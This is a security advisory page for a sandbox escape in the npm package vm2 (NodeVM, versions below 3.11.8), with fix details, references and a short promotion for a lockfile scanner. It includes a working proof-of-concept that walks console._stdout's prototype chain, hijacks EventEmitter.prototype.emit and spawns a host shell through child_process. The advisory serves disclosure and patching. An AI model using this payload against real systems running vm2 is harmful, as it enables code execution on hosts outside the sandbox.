vm2: Sandbox Escape (NodeVM)
Published 5 Oct 2026 · Updated 5 Oct 2026
Affected package
- Affected
- <3.11.8
- Fixed in
- 3.11.8
npm install vm2@3.11.8Details
Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);Is GHSA-88hf-g992-jg85 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.
References
- Linkgithub.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-92955
- Linkgithub.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290
- Packagegithub.com/patriksimek/vm2
- Linkgithub.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989
- Linkgithub.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440
- Linkgithub.com/patriksimek/vm2/releases/tag/v3.11.8
- Linkwww.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.